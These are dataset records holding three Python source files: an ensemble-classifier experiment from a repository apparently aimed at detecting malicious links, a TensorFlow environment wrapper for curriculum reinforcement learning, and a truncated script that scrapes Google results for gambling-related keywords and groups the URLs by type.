inplace=True)\n    string_results_for_queue = metrics_df.to_csv(index=False, header=False, line_terminator='')\n    string_results_for_queue = string_results_for_queue.replace(\"\\n\", '')\n    q_metrics.put(string_results_for_queue)\n\n\ndef run_algorithm_ensemble(filename='', path='', stratify=True, train_size=0.8,\n                           normalize_data=True, scaler='min-max', no_repeats=100, ens: [Algorithms] = None):\n    if ens == None or len(ens) < 3:\n        return\n    y, X = load_normalized_dataset(file=None, normalize=normalize_data, scaler=scaler)\n    metrics = init_metrics_for_ensembles()\n\n    # my_filename = os.path.join(path, 'new_results\\\\ens', filename)\n    my_filename = os.path.join(path, 'results\\\\ens', filename)\n\n    # df_configs e dictionar\n    df_configs = load_df_configs_for_algs(ens)\n    # for alg, df_config in df_configs.items():\n    #     print(alg, '->', df_config.head())\n\n    algs = list(df_configs.keys())\n    # df_configs_values = df_configs.values()\n    df_config_1 = df_configs[algs[0]]\n    df_config_2 = df_configs[algs[1]]\n    df_config_3 = df_configs[algs[2]]\n\n    for index_1, row_1 in df_config_1.iterrows():\n        for index_2, row_2 in df_config_2.iterrows():\n            for index_3, row_3 in df_config_3.iterrows():\n                for i in range(0, no_repeats):\n                    label, ensemble = create_label_for_ensemble(algs, [row_1, row_2, row_3])\n                    classifiers = create_classifiers(algs, [row_1, row_2, row_3])\n\n                    run_algorithm_ensemble_configuration(metrics, label, ensemble, X, y, classifiers, len(classifiers),\n                                                         train_size=train_size, stratify=stratify)\n\n    metrics_df = pd.DataFrame(metrics)\n    metrics_df = metrics_df.groupby(['label'], as_index=False).agg(\n        {'precision': 'mean', 'recall': 'mean', 'f1_score': 'mean', 'roc_auc': 'mean'})\n    metrics_df = compute_average_metric(metrics_df)\n    metrics_df = compute_roc_auc_score_100(metrics_df)\n    metrics_df.sort_values(by=['average_metric'], ascending=False, inplace=True)\n    metrics = appendMetricsTOCSV(my_filename, metrics_df, init_metrics_for_ensembles, header=False)\n\n\n# def run_algorithm_ensemble_dt_knn_rf(filename='', path='', stratify=True, train_size=0.8,\n#                                      normalize_data=True, scaler='min-max', no_repeats=100):\n#     y, X = load_normalized_dataset(file=None, normalize=normalize_data, scaler=scaler)\n#     metrics = init_metrics_for_ensembles()\n#\n#     my_filename = os.path.join(path, 'results\\\\ens', filename)\n#\n#     df_configs_dt = pd.read_csv('new_results_1/dt/best.csv')\n#     df_configs_knn = pd.read_csv('new_results_1/knn/best.csv')\n#     df_configs_rf = pd.read_csv('new_results_1/rfc/best.csv')\n#\n#     for index_rf, row_rf in df_configs_rf.iterrows():\n#         for index_dt, row_dt in df_configs_dt.iterrows():\n#             for index_knn, row_knn in df_configs_knn.iterrows():\n#                 for i in range(0, no_repeats):\n#                     label = create_label_for_ensemble_DT_KNN_RF(row_dt, row_knn, row_rf)\n#                     classifier1 = create_DT_classifier(row_dt)\n#                     classifier2 = create_KNN_classifier(row_knn)\n#                     classifier3 = create_RF_classifier(row_rf)\n#                     run_algorithm_ensemble_configuration(metrics, label, X, y,\n#                                                          [classifier1, classifier2, classifier3], 3,\n#                                                          train_size=train_size, stratify=stratify)\n#\n#     metrics_df = pd.DataFrame(metrics)\n#     metrics_df = metrics_df.groupby(['label'], as_index=False).agg(\n#         {'precision': 'mean', 'recall': 'mean', 'f1_score': 'mean', 'roc_auc': 'mean'})\n#     metrics_df = compute_average_metric(metrics_df)\n#     metrics_df.sort_values(by=['average_metric'], ascending=False, inplace=True)\n#     metrics = appendMetricsTOCSV(my_filename, metrics_df, init_metrics_for_ensembles, header=True)\n\n\ndef create_label_for_ensemble(algs: [Algorithms], rows: []):\n    label = \"ENSEMBLE \"\n    ensemble = ''\n    for alg in algs:\n        label += str(alg.value).upper() + \" \"\n        if ensemble == '':\n            ensemble += str(alg.value).upper()\n        else:\n            ensemble += \"-\" + str(alg.value).upper()\n\n    label += '::'\n    for i in range(0, len(algs)):\n        alg = algs[i]\n        row = rows[i]\n        if (alg == Algorithms.ADA):\n            label += create_label_for_ADA_from_row(row)\n        elif (alg == Algorithms.DT):\n            label += create_label_for_DT_for_row(row)\n        elif (alg == Algorithms.KNN):\n            label += create_label_for_KNN_for_row(row)\n        elif (alg == Algorithms.RF):\n            label += create_label_for_rfc_for_row(row)\n        elif (alg == Algorithms.LR):\n            label += create_label_LR_for_row(row)\n        elif (alg == Algorithms.BNB):\n            label += create_label_BNB_for_row(row)\n        elif (alg == Algorithms.GNB):\n            label += create_label_for_GNB_for_row(row)\n        elif (alg == Algorithms.LDA):\n            label += create_label_LDA_for_row(row)\n        elif (alg == Algorithms.XGB):\n            label += create_label_for_XGB_for_row(row)\n        elif (alg == Algorithms.SVM_rbf):\n            label += create_label_SVM_for_row(SVM_Kernels.rbf, row)\n        elif (alg == Algorithms.SVM_poly):\n            label += create_label_SVM_for_row(SVM_Kernels.poly, row)\n        elif (alg == Algorithms.SVM_sigmoid):\n            label += create_label_SVM_for_row(SVM_Kernels.sigmoid, row)\n        elif (alg == Algorithms.SVM_linear):\n            label += create_label_SVM_for_row(SVM_Kernels.linear, row)\n        label += \" :: \"\n    return label, ensemble\n", "repo_name": "ioana637/malicious_links", "sub_path": "algorithms/ensembles.py", "file_name": "ensembles.py", "file_ext": "py", "file_size_in_byte": 15866, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.set_printoptions", "line_number": 25, "usage_type": "call"}, {"api_name": "utils.data_pre.split_data_in_testing_training", "line_number": 31, "usage_type": "call"}, {"api_name": "utils.utils.prediction", "line_number": 39, "usage_type": "call"}, {"api_name": "utils.utils.cal_metrics_general", "line_number": 61, "usage_type": "call"}, {"api_name": "sklearn.utils._testing.ignore_warnings", "line_number": 28, "usage_type": "call"}, {"api_name": "sklearn.exceptions.ConvergenceWarning", "line_number": 28, "usage_type": "name"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 75, "usage_type": "name"}, {"api_name": "algorithms.enums.Algorithms.DT", "line_number": 78, "usage_type": "attribute"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 78, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 80, "usage_type": "call"}, {"api_name": "algorithms.enums.Algorithms.KNN", "line_number": 81, "usage_type": "attribute"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 81, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 83, "usage_type": "call"}, {"api_name": "algorithms.enums.Algorithms.RF", "line_number": 84, "usage_type": "attribute"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 84, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 86, "usage_type": "call"}, {"api_name": "algorithms.enums.Algorithms.ADA", "line_number": 87, "usage_type": "attribute"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 87, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 89, "usage_type": "call"}, {"api_name": "algorithms.enums.Algorithms.LR", "line_number": 90, "usage_type": "attribute"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 90, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 92, "usage_type": "call"}, {"api_name": "algorithms.enums.Algorithms.BNB", "line_number": 93, "usage_type": "attribute"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 93, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 95, "usage_type": "call"}, {"api_name": "algorithms.enums.Algorithms.GNB", "line_number": 96, "usage_type": "attribute"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 96, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 98, "usage_type": "call"}, {"api_name": "algorithms.enums.Algorithms.LDA", "line_number": 99, "usage_type": "attribute"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 99, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 101, "usage_type": "call"}, {"api_name": "algorithms.enums.Algorithms.SVM_rbf", "line_number": 102, "usage_type": "attribute"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 102, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 104, "usage_type": "call"}, {"api_name": "algorithms.enums.Algorithms.SVM_linear", "line_number": 105, "usage_type": "attribute"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 105, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 107, "usage_type": "call"}, {"api_name": "algorithms.enums.Algorithms.SVM_sigmoid", "line_number": 108, "usage_type": "attribute"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 108, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 110, "usage_type": "call"}, {"api_name": "algorithms.enums.Algorithms.SVM_poly", "line_number": 111, "usage_type": "attribute"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 111, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 113, "usage_type": "call"}, {"api_name": "algorithms.enums.Algorithms.XGB", "line_number": 114, "usage_type": "attribute"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 114, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 116, "usage_type": "call"}, {"api_name": "algorithms.enums.Algorithms.MLP", "line_number": 117, "usage_type": "attribute"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 117, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 119, "usage_type": "call"}, {"api_name": "algorithms.enums.Algorithms.GPC", "line_number": 120, "usage_type": "attribute"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 120, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 122, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 125, "usage_type": "call"}, {"api_name": "algorithms.enums.Algorithms.ADA", "line_number": 135, "usage_type": "attribute"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 135, "usage_type": "name"}, {"api_name": "algorithms.ada.create_ADA_classifier", "line_number": 136, "usage_type": "call"}, {"api_name": "algorithms.enums.Algorithms.DT", "line_number": 137, "usage_type": "attribute"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 137, "usage_type": "name"}, {"api_name": "algorithms.dt.create_DT_classifier", "line_number": 138, "usage_type": "call"}, {"api_name": "algorithms.enums.Algorithms.KNN", "line_number": 139, "usage_type": "attribute"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 139, "usage_type": "name"}, {"api_name": "algorithms.knn.create_KNN_classifier", "line_number": 140, "usage_type": "call"}, {"api_name": "algorithms.enums.Algorithms.RF", "line_number": 141, "usage_type": "attribute"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 141, "usage_type": "name"}, {"api_name": "algorithms.rfc.create_RF_classifier", "line_number": 142, "usage_type": "call"}, {"api_name": "algorithms.enums.Algorithms.LR", "line_number": 143, "usage_type": "attribute"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 143, "usage_type": "name"}, {"api_name": "algorithms.lr.create_LR_classifier", "line_number": 144, "usage_type": "call"}, {"api_name": "algorithms.enums.Algorithms.BNB", "line_number": 145, "usage_type": "attribute"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 145, "usage_type": "name"}, {"api_name": "algorithms.nb.create_BNB_classifier", "line_number": 146, "usage_type": "call"}, {"api_name": "algorithms.enums.Algorithms.GNB", "line_number": 147, "usage_type": "attribute"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 147, "usage_type": "name"}, {"api_name": "algorithms.nb.create_GNB_classifier", "line_number": 148, "usage_type": "call"}, {"api_name": "algorithms.enums.Algorithms.LDA", "line_number": 149, "usage_type": "attribute"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 149, "usage_type": "name"}, {"api_name": "algorithms.qlda.create_LDA_classifier", "line_number": 150, "usage_type": "call"}, {"api_name": "algorithms.enums.Algorithms.XGB", "line_number": 151, "usage_type": "attribute"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 151, "usage_type": "name"}, {"api_name": "algorithms.xgb.create_XGB_classifier", "line_number": 152, "usage_type": "call"}, {"api_name": "algorithms.enums.Algorithms.SVM_rbf", "line_number": 153, "usage_type": "attribute"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 153, "usage_type": "name"}, {"api_name": "algorithms.svm.create_SVM_classifier", "line_number": 154, "usage_type": "call"}, {"api_name": "algorithms.enums.SVM_Kernels.rbf", "line_number": 154, "usage_type": "attribute"}, {"api_name": "algorithms.enums.SVM_Kernels", "line_number": 154, "usage_type": "name"}, {"api_name": "algorithms.enums.Algorithms.SVM_poly", "line_number": 155, "usage_type": "attribute"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 155, "usage_type": "name"}, {"api_name": "algorithms.svm.create_SVM_classifier", "line_number": 156, "usage_type": "call"}, {"api_name": "algorithms.enums.SVM_Kernels.poly", "line_number": 156, "usage_type": "attribute"}, {"api_name": "algorithms.enums.SVM_Kernels", "line_number": 156, "usage_type": "name"}, {"api_name": "algorithms.enums.Algorithms.SVM_sigmoid", "line_number": 157, "usage_type": "attribute"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 157, "usage_type": "name"}, {"api_name": "algorithms.svm.create_SVM_classifier", "line_number": 158, "usage_type": "call"}, {"api_name": "algorithms.enums.SVM_Kernels.sigmoid", "line_number": 158, "usage_type": "attribute"}, {"api_name": "algorithms.enums.SVM_Kernels", "line_number": 158, "usage_type": "name"}, {"api_name": "algorithms.enums.Algorithms.SVM_linear", "line_number": 159, "usage_type": "attribute"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 159, "usage_type": "name"}, {"api_name": "algorithms.svm.create_SVM_classifier", "line_number": 160, "usage_type": "call"}, {"api_name": "algorithms.enums.SVM_Kernels.linear", "line_number": 160, "usage_type": "attribute"}, {"api_name": "algorithms.enums.SVM_Kernels", "line_number": 160, "usage_type": "name"}, {"api_name": "algorithms.enums.Algorithms.MLP", "line_number": 161, "usage_type": "attribute"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 161, "usage_type": "name"}, {"api_name": "algorithms.mlp.create_MLP_classifier", "line_number": 162, "usage_type": "call"}, {"api_name": "algorithms.enums.Algorithms.GPC", "line_number": 163, "usage_type": "attribute"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 163, "usage_type": "name"}, {"api_name": "algorithms.gpc.create_GPC_classifier", "line_number": 164, "usage_type": "call"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 172, "usage_type": "name"}, {"api_name": "utils.data_pre.load_normalized_dataset", "line_number": 176, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 180, "usage_type": "call"}, {"api_name": "os.path", "line_number": 180, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 202, "usage_type": "call"}, {"api_name": "utils.data_post.compute_average_metric", "line_number": 205, "usage_type": "call"}, {"api_name": "utils.data_post.compute_roc_auc_score_100", "line_number": 206, "usage_type": "call"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 214, "usage_type": "name"}, {"api_name": "utils.data_pre.load_normalized_dataset", "line_number": 217, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 221, "usage_type": "call"}, {"api_name": "os.path", "line_number": 221, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 244, "usage_type": "call"}, {"api_name": "utils.data_post.compute_average_metric", "line_number": 247, "usage_type": "call"}, {"api_name": "utils.data_post.compute_roc_auc_score_100", "line_number": 248, "usage_type": "call"}, {"api_name": "utils.utils.appendMetricsTOCSV", "line_number": 250, "usage_type": "call"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 284, "usage_type": "name"}, {"api_name": "algorithms.enums.Algorithms.ADA", "line_number": 298, "usage_type": "attribute"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 298, "usage_type": "name"}, {"api_name": "algorithms.ada.create_label_for_ADA_from_row", "line_number": 299, "usage_type": "call"}, {"api_name": "algorithms.enums.Algorithms.DT", "line_number": 300, "usage_type": "attribute"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 300, "usage_type": "name"}, {"api_name": "algorithms.dt.create_label_for_DT_for_row", "line_number": 301, "usage_type": "call"}, {"api_name": "algorithms.enums.Algorithms.KNN", "line_number": 302, "usage_type": "attribute"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 302, "usage_type": "name"}, {"api_name": "algorithms.knn.create_label_for_KNN_for_row", "line_number": 303, "usage_type": "call"}, {"api_name": "algorithms.enums.Algorithms.RF", "line_number": 304, "usage_type": "attribute"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 304, "usage_type": "name"}, {"api_name": "algorithms.rfc.create_label_for_rfc_for_row", "line_number": 305, "usage_type": "call"}, {"api_name": "algorithms.enums.Algorithms.LR", "line_number": 306, "usage_type": "attribute"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 306, "usage_type": "name"}, {"api_name": "algorithms.lr.create_label_LR_for_row", "line_number": 307, "usage_type": "call"}, {"api_name": "algorithms.enums.Algorithms.BNB", "line_number": 308, "usage_type": "attribute"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 308, "usage_type": "name"}, {"api_name": "algorithms.nb.create_label_BNB_for_row", "line_number": 309, "usage_type": "call"}, {"api_name": "algorithms.enums.Algorithms.GNB", "line_number": 310, "usage_type": "attribute"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 310, "usage_type": "name"}, {"api_name": "algorithms.nb.create_label_for_GNB_for_row", "line_number": 311, "usage_type": "call"}, {"api_name": "algorithms.enums.Algorithms.LDA", "line_number": 312, "usage_type": "attribute"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 312, "usage_type": "name"}, {"api_name": "algorithms.qlda.create_label_LDA_for_row", "line_number": 313, "usage_type": "call"}, {"api_name": "algorithms.enums.Algorithms.XGB", "line_number": 314, "usage_type": "attribute"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 314, "usage_type": "name"}, {"api_name": "algorithms.xgb.create_label_for_XGB_for_row", "line_number": 315, "usage_type": "call"}, {"api_name": "algorithms.enums.Algorithms.SVM_rbf", "line_number": 316, "usage_type": "attribute"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 316, "usage_type": "name"}, {"api_name": "algorithms.svm.create_label_SVM_for_row", "line_number": 317, "usage_type": "call"}, {"api_name": "algorithms.enums.SVM_Kernels.rbf", "line_number": 317, "usage_type": "attribute"}, {"api_name": "algorithms.enums.SVM_Kernels", "line_number": 317, "usage_type": "name"}, {"api_name": "algorithms.enums.Algorithms.SVM_poly", "line_number": 318, "usage_type": "attribute"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 318, "usage_type": "name"}, {"api_name": "algorithms.svm.create_label_SVM_for_row", "line_number": 319, "usage_type": "call"}, {"api_name": "algorithms.enums.SVM_Kernels.poly", "line_number": 319, "usage_type": "attribute"}, {"api_name": "algorithms.enums.SVM_Kernels", "line_number": 319, "usage_type": "name"}, {"api_name": "algorithms.enums.Algorithms.SVM_sigmoid", "line_number": 320, "usage_type": "attribute"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 320, "usage_type": "name"}, {"api_name": "algorithms.svm.create_label_SVM_for_row", "line_number": 321, "usage_type": "call"}, {"api_name": "algorithms.enums.SVM_Kernels.sigmoid", "line_number": 321, "usage_type": "attribute"}, {"api_name": "algorithms.enums.SVM_Kernels", "line_number": 321, "usage_type": "name"}, {"api_name": "algorithms.enums.Algorithms.SVM_linear", "line_number": 322, "usage_type": "attribute"}, {"api_name": "algorithms.enums.Algorithms", "line_number": 322, "usage_type": "name"}, {"api_name": "algorithms.svm.create_label_SVM_for_row", "line_number": 323, "usage_type": "call"}, {"api_name": "algorithms.enums.SVM_Kernels.linear", "line_number": 323, "usage_type": "attribute"}, {"api_name": "algorithms.enums.SVM_Kernels", "line_number": 323, "usage_type": "name"}]}
{"seq_id": "74938315783", "text": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport collections\nimport os.path\n\nimport numpy as np\nimport tensorflow as tf\n\n\nnest = tf.contrib.framework.nest\n\nDEFAULT_ACTION_SET = (\n    (0),    # Down\n    (1),    # Up\n    (2),    # Left\n    (3),    # Right\n    (4),    # Use\n)\n\n\nclass PyProcessCraftLab(object):\n  \"\"\"CraftLab wrapper for PyProcess.\"\"\"\n\n  def __init__(self,\n               env_sampler,\n               task_name,\n               config,\n               num_action_repeats=1,\n               seed=0,\n               reuse_environments=False):\n    del config\n    self._num_action_repeats = num_action_repeats\n    self._random_state = np.random.RandomState(seed=seed)\n    # config = {k: str(v) for k, v in config.iteritems()}\n    self._env = None\n    self._env_sampler = env_sampler\n    self._task_name = task_name\n    self._reset()\n    self._observation_spec = self._env.obs_specs()\n\n  def _reset(self):\n    \"\"\"Sample a new environment to behave in.\"\"\"\n    self._env = self._env_sampler.sample_environment(self._task_name)\n    # print(\"Reset environment: task: {}: {}\".format(\n    #    self._env.task_name, self._env.task))\n    return self._env.reset(seed=self._random_state.randint(0, 2 ** 31 - 1))\n\n  def _observation(self):\n    obs = self._env.observations()\n    return self._flatten_obs(obs)\n\n  def _flatten_obs(self, obs):\n    return [obs[k] for k in self._observation_spec]\n\n  def initial(self):\n    initial_obs = self._reset()\n    return self._flatten_obs(initial_obs)\n\n  def step(self, action, task_name):\n    reward, done, observation = self._env.step(\n        action, num_steps=self._num_action_repeats)\n    if done:\n      # This will resample an environment according to the new task.\n      self._task_name = task_name\n      self._reset()\n    return reward, done, self._flatten_obs(observation)\n\n  def close(self):\n    self._env.close()\n\n  @staticmethod\n  def _tensor_specs(method_name, unused_kwargs, constructor_kwargs):\n    \"\"\"Returns a nest of `TensorSpec` with the method's output specification.\"\"\"\n    # Find out about observation specs\n    dummy_env = constructor_kwargs['env_sampler'].sample_environment()\n    env_obs_specs = dummy_env.obs_specs()\n\n    observation_spec = [\n        tf.contrib.framework.TensorSpec(\n            obs_spec['shape'], obs_spec['dtype'], name=obs_name)\n        for obs_name, obs_spec in env_obs_specs.iteritems()\n    ]\n\n    if method_name == 'initial':\n      return observation_spec\n    elif method_name == 'step':\n      return (\n          tf.contrib.framework.TensorSpec([], tf.float32, name='reward'),\n          tf.contrib.framework.TensorSpec([], tf.bool, name='done'),\n          observation_spec,\n      )\n\n\nStepOutputInfo = collections.namedtuple(\n  'StepOutputInfo', 'episode_return episode_progress episode_step task_name')\nStepOutput = collections.namedtuple('StepOutput',\n                                    'reward info done observation')\n\n\nclass FlowEnvironment(object):\n  \"\"\"An environment that returns a new state for every modifying method.\n\n  The environment returns a new environment state for every modifying action and\n  forces previous actions to be completed first. Similar to `flow` for\n  `TensorArray`.\n  \"\"\"\n\n  def __init__(self, env):\n    \"\"\"Initializes the environment.\n\n    Args:\n      env: An environment with `initial()` and `step(action)` methods where\n        `initial` returns the initial observations and `step` takes an action\n        and returns a tuple of (reward, done, observation). `observation`\n        should be the observation after the step is taken. If `done` is\n        True, the observation should be the first observation in the next\n        episode.\n    \"\"\"\n    self._env = env\n\n  def initial(self, task_name):\n    \"\"\"Returns the initial output and initial state.\n\n    Returns:\n      A tuple of (`StepOutput`, environment state). The environment state should\n      be passed in to the next invocation of `step` and should not be used in\n      any other way. The reward and transition type in the `StepOutput` is the\n      reward/transition type that lead to the observation in `StepOutput`.\n    \"\"\"\n    with tf.name_scope('flow_environment_initial'):\n      initial_reward = tf.constant(0., dtype=tf.float32)\n      initial_info = StepOutputInfo(\n          tf.constant(0., dtype=tf.float32), tf.constant(0., dtype=tf.float32),\n          tf.constant(0), task_name)\n      initial_done = tf.constant(True)\n      initial_observation = self._env.initial()\n\n      initial_output = StepOutput(\n          initial_reward,\n          initial_info,\n          initial_done,\n          initial_observation)\n\n      # Control dependency to make sure the next step can't be taken before the\n      # initial output has been read from the environment.\n      with tf.control_dependencies(nest.flatten(initial_output)):\n        initial_flow = tf.constant(0., dtype=tf.float32)\n      initial_state = (initial_flow, initial_info)\n      return initial_output, initial_state\n\n  def step(self, action, state, task_name):\n    \"\"\"Takes a step in the environment.\n\n    Args:\n      action: An action tensor suitable for the underlying environment.\n      state: The environment state from the last step or initial state.\n\n    Returns:\n      A tuple of (`StepOutput`, environment state). The environment state should\n      be passed in to the next invocation of `step` and should not be used in\n      any other way. On episode end (i.e. `done` is True), the returned reward\n      should be included in the sum of rewards for the ending episode and not\n      part of the next episode.\n    \"\"\"\n    with tf.name_scope('flow_environment_step'):\n      flow, info = nest.map_structure(tf.convert_to_tensor, state)\n\n      # Make sure the previous step has been executed before running the next\n      # step.\n      with tf.control_dependencies([flow]):\n        reward, done, observation = self._env.step(action, task_name)\n\n      with tf.control_dependencies(nest.flatten(observation)):\n        new_flow = tf.add(flow, 1)\n\n      # When done, include the reward in the output info but not in the\n      # state for the next step.\n      # TODO make progress be just the return for now (change later to reflect the progress signals)\n      progress_update = reward\n      new_info = StepOutputInfo(info.episode_return + reward,\n                                info.episode_progress + progress_update,\n                                info.episode_step + 1,\n                                task_name)\n      new_state = (new_flow,\n                   nest.map_structure(lambda a, b: tf.where(done, a, b),\n                                      StepOutputInfo(\n                                          tf.constant(0., dtype=tf.float32),\n                                          tf.constant(0., dtype=tf.float32),\n                                          tf.constant(0),\n                                          task_name),\n                                      new_info))\n\n      output = StepOutput(reward, new_info, done, observation)\n\n      return output, new_state\n", "repo_name": "Feryal/automated-curriculum-rl", "sub_path": "environments.py", "file_name": "environments.py", "file_ext": "py", "file_size_in_byte": 7083, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 29, "dataset": "github-code", "pt": "81", "api": [{"api_name": "tensorflow.contrib", "line_number": 12, "usage_type": "attribute"}, {"api_name": "numpy.random.RandomState", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 35, "usage_type": "attribute"}, {"api_name": "tensorflow.contrib.framework.TensorSpec", "line_number": 81, "usage_type": "call"}, {"api_name": "tensorflow.contrib", "line_number": 81, "usage_type": "attribute"}, {"api_name": "tensorflow.contrib.framework.TensorSpec", "line_number": 90, "usage_type": "call"}, {"api_name": "tensorflow.contrib", "line_number": 90, "usage_type": "attribute"}, {"api_name": "tensorflow.float32", "line_number": 90, "usage_type": "attribute"}, {"api_name": "tensorflow.contrib.framework.TensorSpec", "line_number": 91, "usage_type": "call"}, {"api_name": "tensorflow.contrib", "line_number": 91, "usage_type": "attribute"}, {"api_name": "tensorflow.bool", "line_number": 91, "usage_type": "attribute"}, {"api_name": "collections.namedtuple", "line_number": 96, "usage_type": "call"}, {"api_name": "collections.namedtuple", "line_number": 98, "usage_type": "call"}, {"api_name": "tensorflow.name_scope", "line_number": 132, "usage_type": "call"}, {"api_name": "tensorflow.constant", "line_number": 133, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 133, "usage_type": "attribute"}, {"api_name": "tensorflow.constant", "line_number": 135, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 135, "usage_type": "attribute"}, {"api_name": "tensorflow.constant", "line_number": 136, "usage_type": "call"}, {"api_name": "tensorflow.constant", "line_number": 137, "usage_type": "call"}, {"api_name": "tensorflow.control_dependencies", "line_number": 148, "usage_type": "call"}, {"api_name": "tensorflow.constant", "line_number": 149, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 149, "usage_type": "attribute"}, {"api_name": "tensorflow.name_scope", "line_number": 167, "usage_type": "call"}, {"api_name": "tensorflow.convert_to_tensor", "line_number": 168, "usage_type": "attribute"}, {"api_name": "tensorflow.control_dependencies", "line_number": 172, "usage_type": "call"}, {"api_name": "tensorflow.control_dependencies", "line_number": 175, "usage_type": "call"}, {"api_name": "tensorflow.add", "line_number": 176, "usage_type": "call"}, {"api_name": "tensorflow.where", "line_number": 187, "usage_type": "call"}, {"api_name": "tensorflow.constant", "line_number": 189, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 189, "usage_type": "attribute"}, {"api_name": "tensorflow.constant", "line_number": 190, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 190, "usage_type": "attribute"}, {"api_name": "tensorflow.constant", "line_number": 191, "usage_type": "call"}]}
{"seq_id": "6595855196", "text": "from bs4 import BeautifulSoup\nimport requests\nimport re\n\nimport dbscript\nfrom threading import Thread\n\nkeywords = [\"Sports\", \"Lottery\", \"slot\", \"casino\", \"sports lottery India\", \"Horse Racing bet\"]\n\nresults = []\n\n\n# Define a function that takes a keyword as a parameter\ndef get_headers_and_links(keyword):\n    url = f'https://www.google.com/search?q={keyword}'\n    # Get the HTML from the website\n    html = requests.get(url).text\n    # Create a BeautifulSoup object from the HTML\n    soup = BeautifulSoup(html, 'html.parser')\n    # Find all a tags on the page\n    a_tags = soup.find_all('a')\n    # Print the h3 tags that are children of the tags\n    for a in a_tags:\n        h3 = a.find('h3')\n        if h3:\n            result = re.search(r'https?://[a-z0-9.-]+\\.[a-z]{2,4}[/a-z0-9._-]*', a['href']).group(0) if re.search(\n                r'https?://[a-z0-9.-]+\\.[a-z]{2,4}[/a-z0-9._-]*', a['href']) else \"No URL found in string\"\n            if result != \"No URL found in string\":\n                results.append({'header': h3.text, 'url': result})\n\n\ndef group_urls(urls):\n    # Define a dictionary to store the URL groups\n    groups = {\n        \"blog\": [],\n        \"social_media\": [],\n        \"website\": [],\n        \"news\": [],\n        \"betting_site\": [],\n        \"other\": []\n    }\n\n    # Iterate over the URLs\n    for url_dict in urls:\n        # Use a regular expression to check if the URL is a blog\n        if re.search(r'blog\\.[a-z0-9.-]+\\.[a-z]{2,4}[/a-z0-9._-]*', url_dict['url']):\n            groups[\"blog\"].append(url_dict)\n        # Use a regular expression to check if the URL is a social media site\n        elif re.search(r'(facebook|twitter|linkedin|instagram|pinterest)\\.[a-z0-9.-]+\\.[a-z]{2,4}[/a-z0-9._-]*',\n                       url_dict['url']):\n            groups[\"social_media\"].append(url_dict)\n        # Use a regular expression to check if the URL is a news site\n        elif 